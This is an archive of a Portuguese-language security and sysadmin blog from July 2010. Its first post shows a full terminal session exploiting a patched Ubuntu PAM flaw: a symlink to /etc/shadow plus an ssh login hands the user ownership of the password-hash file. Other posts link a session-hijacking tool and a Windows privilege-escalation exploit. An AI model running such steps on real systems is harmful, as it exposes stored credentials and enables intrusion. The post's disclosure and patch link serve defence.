Archive for julho, 2010


Ubuntu PAM vulnerability

Filed Under: Hacking, Linux, Security by admin — Leave a comment
31 de julho de 2010

Semana passada surgiu um bug no Windows que afetava diretamente os links, isso mesmo!!  algum hacker podem usar um arquivo de atalho malicioso, identificado pela extensão “.lnk”, para automaticamente executar o malware. Até a data de Hoje, não há correção para a falha que afeta desde o Windows 2000 até as versões do Windows 7.

Alguns papers explicam como mitigar o ataque, um exemplo é o paper escrito pelo Didier stevens (http://blog.didierstevens.com/2010/07/20/mitigating-lnk-exploitation-with-srp/), mas como o tópico não fala diretamente disso, eu acabei linkando com esse assunto pois uma falha que surgiu a umas semanas atrás, que afeta o módulo do PAM no Ubuntu LTS utiliza os links para poder ser explorada. Já com um patch publicado é aconselhável aplica-lo, explorando a falha não é possível escalar privilégios diretamente, mas é possível ler o /etc/shadow, e dai em diante……… =D Vejam abaixo:

trash@trash-desktop:~$ id
uid=1000(trash) gid=1000(trash) grupos=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(trash)
trash@trash-desktop:~$ rm -rf .cache/
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 root shadow 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ ln -s /etc/shadow ~/.cache
trash@trash-desktop:~$ ssh localhost
The authenticity of host ‘localhost (::1)’ can’t be established.
RSA key fingerprint is 86:cb:81:06:41:72:c4:f5:0f:7d:56:7f:5e:82:72:26.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘localhost’ (RSA) to the list of known hosts.
trash@localhost’s password:
Linux trash-desktop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
Ubuntu 10.04 LTS
Welcome to Ubuntu!
* Documentation:  https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Jul 25 04:18:47 2010 from localhost
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 trash trash 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ tail /etc/shadow =)

Simples assim…

Patch: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/karmic/pam/karmic-updates/revision/58

Referência: http://www.ubuntu.com/usn/usn-959-1

[]‘s

Sergito

Tags: , ,
Comment

Clone\Deploy Vmware ESX + Sysprep

Filed Under: Artigo, Virtualização by admin — Leave a comment
31 de julho de 2010

Quando temos a necessidade de fazer um clone de uma máquina virtual ou fazer um deploy em máquinas windows, precisamos fazer todo aquele processo de sysprep na máquina clonada. O Sysprep atribui uma SID (identificação de segurança) única para cada computador de destino na primeira vez que o computador é reiniciado, configura o sistema operacional para executar o Bem-vindo ao Windows ou a Microinstalação na primeira vez em que o usuário reiniciar o computador. E foi pensando nisso que um amigo meu (Daniel Machado) criou um rápido artigo que facilita o processo de sysprep. Segue abaixo:

Quando clonamos uma maquina virtual ou quando fazemos o deploy de um template no VMware, o sysprep é necessário como em um ambiente físico.

Podemos executar o vCenter de três formas:

1)      Preparar uma imagem base com Sysprep;

2)      Executar o Sysprep a cada nova clonagem ou deploy;

3)      A MAIS FACIL: Solicitar ao vCenter que execute o Sysprep marcando esta opção:

Para habilitar esta opção é necessário ter os arquivos do Sysprep disponíveis no servidor vCenter (para win2003 e xp, Vista/2008 já tem o sysprep integrado em System32) e o VMware tools instalado na imagem de origem, caso contrario é apresentado o seguinte erro:

Para integrar os arquivos do sysprep ao vCenter é necessário seguir o artigo: http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1005593

[]‘s

Sergito

Tags: , , ,
Comment

TCP Session Hijacking

Filed Under: Ferramentas, Hacking by admin — Leave a comment
29 de julho de 2010

Uma ferramenta muito bem desenvolvida em perl, capaz de capturar os pacotes entre dois hosts by-passando senhas. Funcional somente em conexões sem criptografia, o programa consegue interceptar a negociação entre os 2 hosts e capturar os comandos enviados e o retorno do mesmo em um acesso remoto via telnet por exemplo.

       +--------+                                 +--------+
       | SERVER | <.......T..E..L..N..E..T......> | CLIENT |
       |10.0.0.1| --------------+  +--------------|10.0.0.2|
       +--------+               |  |              +--------+
                                |  |
                              +------+
                              |SWITCH|
                              +------+
                                 |
                                 |
                             +--------+
                             |ATTACKER|
                             |10.0.0.3|
                             +--------+
Download: http://packetstormsecurity.org/sniffers/shijack.tgz


Paper Completo: http://packetstormsecurity.org/papers/attack/tcp-session-hijacking_en.txt


[]'s


Sergito
Tags: ,
Comment

show me the headers

Filed Under: Utilitarios by admin — Leave a comment
26 de julho de 2010

O Nome ja diz tudo!!

http://showmetheheaders.com/

[]‘s

Sergito

Tags:
Comment

REMnux: Uma distribuição para engenharia reversa de Malware

Filed Under: Ferramentas, Hacking, malware, pentest by admin — 2 Comments
21 de julho de 2010

Hoje em dia tornou-se popular as distribuições que ajudam em tarefas específicas, pois é, recentemente foi lançada pelo Lenny Zeltser o REMnux, uma distribuição Linux e leve para auxiliar os analistas de malware em fazer engenharia reversa em malwares. A distribuição é baseada no Ubuntu e muito útil para a análise de malware baseado na web, tais como JavaScript malicioso, malware codado em java e arquivos Flash. Também possui ferramentas para analisar os documentos maliciosos, como
Microsoft Office e Adobe PDF, contém também utilitários para análise de malware alojados na memória. Nestes casos, o malware pode ser carregados no REMnux e analisadas diretamente no sistema sem a necessidade de outros OS.

Onde Fazer download: https://sourceforge.net/downloads/remnux/version1/

Por enquanto esta disponível somente a versão para vmware e o gerenciador gráfico utilizado é o Enlightenment.

Para logar no REMnux: Usuário “remnux” e senha “malware”.

Mais Infos sobre as novas versões: http://zeltser.com/remnux/

Um distribuição semelhante criada pelo Rob lee chamado SANS Investigative Forensic Toolkit (SIFT), que também foi criada para auxiliar nos cursos de Engenharia Reversa de Malware da SANS: https://computer-forensics2.sans.org/community/siftkit

[]‘s

Sergito

Tags: ,
Comment

Vmware + NT server + Network Interface

Filed Under: Artigo, Virtualização, Windows by admin — Leave a comment
18 de julho de 2010

Essa era a minha missão, depois de converter fisicamente para vmware um Nt server bem antigo e com file system FAT16, tive alguns problemas com driver de Rede. Não reconhecia o driver de rede por nada!!

Tentativa 1): Instalar o Vmware Tools após alterar o Arquivo VMX inserindo os parâmetros: ethernet0.virtualDev = “e1000” ou ethernet0.virtualDev = “vmxnet”. Essa era a solução sugerida pela vmware para instalar o driver com o vmware tools. Tentei também o VLANCE que é o AMD PCnet32  NIC. Nada resolvido….

Mais Info. sobre adaptadores compatíveis veja aqui: http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1001805

Tentativa 2): Foi a instalação da placa de Rede “AMD PCNET Family Ethernet Adapter” como estavam sugerindo nos forums, o driver disponível no Cd do Nt Server não foi compatível com o Dispositivo.

Tentativa 3): Atualizar para o 2000 Server, mas infelizmente não tinha espaço suficiente no Disco C:

Sem Rede, Sem espaço no Disco, e agora?? o que fazer para a aplicação acessar o Servidor NT?

O que restou foi ir atrás do driver para o “AMD PCNET Family Ethernet Adapter” e seguir os passos abaixo:

1) Primeiramente deve-se remover o dispositivo de rede do NT Server no qual foi herdado do clone físico, e reiniciar

2) Baixe os drivers para o Nt Server: Driver AMD For NT server

3) No painel de controle, abra o item Network, depois na aba Adapters, clique em add e escolha “com disco”, selecione a pasta onde foi descompactado os drivers e siga a instalação. Será solicitado a reinicialização… e Pronto!! OK!!

O problema era a compatibilidade do driver AMD PCNET com o NT server visto que nem o VMware Tools conseguiu fazer a instalação correta do driver. Juro!! Não foi fácil encontrar o driver compatível com o servidor.

[]‘s

Sergito

Tags: ,
Comment

Cross-Compiling Linux para Windows

Filed Under: Artigo, Ferramentas, Linux by admin — Leave a comment
14 de julho de 2010

Se vc é daqueles que usa o windows somente para testar exploits, essa é uma boa dica! As vezes temos que compilar algum exploit no windows para realizar testes pois os mesmos pedem a biblioteca windows.h, porém há uma maneira de compilar esses fontes no linux gerando da mesma maneira um executável para os seus testes. Veremos abaixo como fazer isso de uma maneira muito simples com o MinGW e um fazer um teste com o famoso hello world.

Para as distribuições derivadas do debian, instale os pacotes: mingw32-binutils , mingw32-runtime e mingw32 . Os pacotes RPM até onde eu pesquisei, foram descontinuados. =(

Ou se quiser instalar via fontes vc precisa baixar: binutils (Source) e gcc (Source) e baixar o source do MinGW: http://sourceforge.net/projects/mingw/

Após a instalação ele criará no /usr uma pasta de acordo com a sua arquitetura com os binários e as bibliotecas, ex:

debian:/usr/i586-mingw32msvc# ls -la
total 28
drwxr-xr-x  5 root root  4096 Jul 13 23:34 .
drwxr-xr-x 13 root root  4096 Jul 13 23:34 ..
drwxr-xr-x  2 root root  4096 Jul 13 23:34 bin
drwxr-xr-x  5 root root 12288 Jul 13 23:34 include
drwxr-xr-x  3 root root  4096 Jul 13 23:34 lib

Pronto!! Agora iremos testar!! Vamos pegar o nosso famoso Hello World para teste….

debian:~# vi hello.c

/*
 * Hello, World for Win32 in Linux
 */

#include <windows.h>
int main(int argc, char *argv[])
{
	MessageBox(NULL, "Hello world!!", "Hello world!!", MB_OK);
	return 0;
}

Salvamos o hello.c e iremos compilar…
debian:~# i586-mingw32msvc-gcc hello.c -o hello.exe
Agora é só executar o seus exploits no windows sem problemas!! Simples assim!!
Referências podem ser encontradas no site do projeto: http://www.mingw.org/
[]‘s
Sergito
Tags: ,
Comment

Exemplos de Captura via Wireshark

Filed Under: Ferramentas, Linux by admin — Leave a comment
13 de julho de 2010

Diversas vezes vc se deparou na situação que deseja capturar pacotes de um determinado protocolo para criar assinaturas de IDS ou até mesmo por questão de estudo, as vezes se torna cansativo instalar um software somente para sniffar o abraço da conexão ou as vezes não tem disponível a estrutura para a tal captura. Para isso, o wiki do wireshark disponibiliza exemplos de capturas de pacotes de diversos protocolos, são diversos arquivos .pcap para estudo.

Link: http://wiki.wireshark.org/SampleCaptures

[]‘s

Sergito

Tags: ,
Comment

Tunelando SMB via SSH

Filed Under: Ferramentas, Linux by admin — Leave a comment
11 de julho de 2010

Um artigo antigo mas interessante, é o tunelamento do protocolo smb via ssh, recomendo a leitura..

http://www.blisstonia.com/eolson/notes/smboverssh.php

[]‘s

Sergito

Tags: ,
Comment

Microsoft Windows Local Privilege Escalation Vulnerability

Filed Under: Hacking, Security by admin — Leave a comment
6 de julho de 2010

Uma falha que afeta grande parte do windows Vista e 2008 server foi publicada recentemente juntamente com o seu exploit no securityfocus. A falha local explora diretamente o kernel do windows e se vulnerável escala privilégios, caso contrário pode causar um DoS. Vale a pena conferir e testar..

Vulnerable: Microsoft Windows Vista Ultimate 64-bit edition SP2
Microsoft Windows Vista Ultimate 64-bit edition SP1
Microsoft Windows Vista Home Premium 64-bit edition SP2
Microsoft Windows Vista Home Premium 64-bit edition SP1
Microsoft Windows Vista Home Basic 64-bit edition SP2
Microsoft Windows Vista Home Basic 64-bit edition SP1
Microsoft Windows Vista Enterprise 64-bit edition SP2
Microsoft Windows Vista Enterprise 64-bit edition SP1
Microsoft Windows Vista Business 64-bit edition SP2
Microsoft Windows Vista Business 64-bit edition SP1
Microsoft Windows Vista Ultimate SP2
Microsoft Windows Vista Ultimate SP1
Microsoft Windows Vista Home Premium SP2
Microsoft Windows Vista Home Premium SP1
Microsoft Windows Vista Home Basic SP2
Microsoft Windows Vista Home Basic SP1
Microsoft Windows Vista Enterprise SP2
Microsoft Windows Vista Enterprise SP1
Microsoft Windows Vista Business SP2
Microsoft Windows Vista Business SP1
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems 0
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems 0
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems 0

Mais info.. http://www.securityfocus.com/bid/41280/info

[]‘s

Sergito

Tags: ,
Comment

Hakin9 Edição Junho

Filed Under: Hacking, zine by admin — Leave a comment
5 de julho de 2010

Lançada a nova edição da revista digital Hakin9, nesta edição dando um foco sobre Segurança em redes VOIP e um outro artigo explicando a técnica de sniffar tráfego SSL sobre windows, um paper antigo, já demonstrado na BalckHat no ano passado.

Em destaque nesta edição:

  • Disclosure Policies
  • GPS Tracking with mobile phone
  • Hijacking SSL: SSLStrip on Windows
  • Birth of an Evil Twin Taking Social Engineering to the Social Web
  • Securing Voice Over Internet Protocol (VoIP)
  • FIFA World Cup 2010 Network Security Advisory
  • Hacking the Bad Guys
  • Managing Your Facebook Privacy in 2010

Download: http://download.hakin9.org/en/Securing_VoIP_06_2010.pdf

[]‘s

Sergito

Tags: , ,
Comment

BSD Magazine

Filed Under: zine by admin — Leave a comment
5 de julho de 2010

Lançada edição do Mês de julho da Revista digital BSDMag. Nesta edição o foco é um dos OS mais seguros do Mundo, o OpenBSD.

Artigos desta Edição:

  • Building a Desktop Firewall with pf and fwbuilder
  • OpenBSD Some Interesting One Floppy Systems
  • Remote Installation of the FreeBSD Operating System without a Remote Console
  • OpenBSD as a Mail Server
  • Performance Comparison ITTIA DB and SQLite
  • Interview with Jeff Roberson
  • FreeBSD Experience and Success Story

Download: http://download.bsdmag.org/en/OpenBSD_07_2010.pdf

[]‘s

Sergito

Tags: ,
Comment

Pdf unlock

Filed Under: Ferramentas by admin — 1 Comment
4 de julho de 2010

Preciso dizer algo mais? O site só não quebra arquivos pdf que possui senha para abrir o arquivo, se tiver, o site te solicita para poder quebrar a senha de edição. Mas realmente é muito útil se vc precisa editar/copiar o conteúdo de um arquivo pdf com senha. Td isso on-the-fly! sem a necessidade de instalar programas, plugins… bla bla bla

Ahh, limite que upload = 10mb  =/  Testado e aprovado!

http://www.pdfunlock.com/

[]‘s

Sergito

Tags: ,
Comment

Google SSL !!

Filed Under: Notícias by admin — 1 Comment
4 de julho de 2010

Ainda em versão beta, o Google disponibilizou a versão do buscador com criptografia, excelente!!

Experimentem!!: https://encrypted.google.com/

[]‘s

Sergito

Tags: ,
Comment